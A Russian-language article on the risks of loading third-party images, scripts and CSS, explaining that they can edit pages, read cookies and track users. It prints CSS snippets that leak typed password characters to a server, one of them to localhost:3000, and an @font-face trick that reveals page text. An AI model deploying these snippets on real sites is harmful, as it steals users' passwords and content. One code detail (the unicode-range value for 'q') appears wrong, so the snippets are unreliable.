Одним из самых ярких примеров является – особый тип шпионского ПО, функционирующий на CSS. Он регистрирует нажатия клавиш пользователем, а следовательно, атаковать компьютер с его помощью не составляет особого труда. Когда в поле с присвоенным ему определенным типом данных (например, возьмем password), вводится какой-нибудь символ, на сторонний сервер тут же поступает будто бы запрос фонового изображения:
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}Далее, обработав и зарегистрировав полученную цепочку запросов, можно запросто вычислить, какой пароль был введен.
В ходе дискуссии об этой проблеме создателям браузеров предложили срочно заняться устранением ошибок. Причем было замечено, что вопрос актуален исключительно для фреймворков, подобных React, поэтому вину переложили именно на них.
Однако в действительности трагедия заключается в ином: сторонний контент никогда нельзя считать абсолютно безопасным для копирования и использования.
Сторонние картинки
Не все осознают, что, добавляя подобное изображение на свой сайт, они становятся зависимыми от example.com. Возможностей подставить вас в такой ситуации есть несколько: во-первых, картинку можно банально удалить, оставив на странице вместо нее код 404, а во-вторых, ее можно заменить на любую другую, менее приятную и приемлемую.
<img src="https://example.com/kitten.jpg">Конечно, подпись под изображением о том, что оно взято из постороннего источника, способна в некоторой мере уберечь вас от неприятностей. Да и публикуя обыкновенную картинку, вы не рискуете передать злоумышленникам такую важную информацию, как свои пароли.
Сторонние скрипты
Этот вариант с example.com будет уже гораздо интереснее, потому что так вы даете им гораздо больше возможностей:
<script src="https://example.com/script.js"></script>- просматривать содержимое сайта и вносить в него изменения;
- отслеживать поведение пользователей;
- запускать и распространять код, сложный для вычисления (криптомайнер и прочие);
- запрашивать файлы cookies;
- читать и вносить изменения в локальное хранилище.
Как видим, здесь example.com обладает большими возможностями. Самая главная проблема заключается в том, что пробравшись в локальное хранилище, сторонний портал получит доступ к вашему ресурсу и не лишиться его даже после того, как вы удалите скрипт.
Лучше всего никогда не добавляйте на свой сайт скрипты из сторонних источников, если не уверены в том, что они абсолютно надежны. Но если вам все-таки не повезет столкнуться с опасным скриптом, прибегните к помощи .
Сторонний CSS
<link rel="stylesheet" href="https://example.com/style.css">Данный код менее коварный, чем скрипт, но более серьезный по степени воздействия, чем изображение с example.com. Он может:
- редактировать контент;
- отправлять запросы на основании содержимого страницы;
- откликаться на определенные действия пользователя.
К счастью, чужой CSS не способен проникать в локальное хранилище, так что криптомайнер он на ваш сайт не встроит.
Кейлоггер
Слегка видоизменим первый CSS:
input[type="password"][value$="a"] {
background-image: url("/password?a");
}Полученный код начнет отправлять в обработчик данные всякий раз, когда пользователь введет букву «а» (естественно, под видом запрашивания изображения). Прописав код для всех имеющихся символов получаем эффективный CSS-кейлоггер. Однако этот трюк подействует только там, где идет синхронизация подобных значений, например, при использовании библиотеки React.
Естественно, проблему можно решить в React и других похожих фреймворках. Но это будет лишь один конкретный случай.
Чтение текстового контента
Здесь запрос будет отправляться при условии, что на странице есть буква «q». Вместо нее можно вписать сразу несколько символов: таким образом получится отслеживать определенные слова или даже целый ряд разных знаков.
@font-face {
font-family: blah;
src: url("/page-contains-q") format("woff");
unicode-range: U+85;
}
html {
font-family: blah, sans-serif;
}Так что будьте предельно осторожны, используя чужой CSS и прочие данные со сторонних серверов. Ведь мы описали далеко не все варианты, как преступники могут навредить вашему сайту, применив лишь немного специфических знаний и фантазии.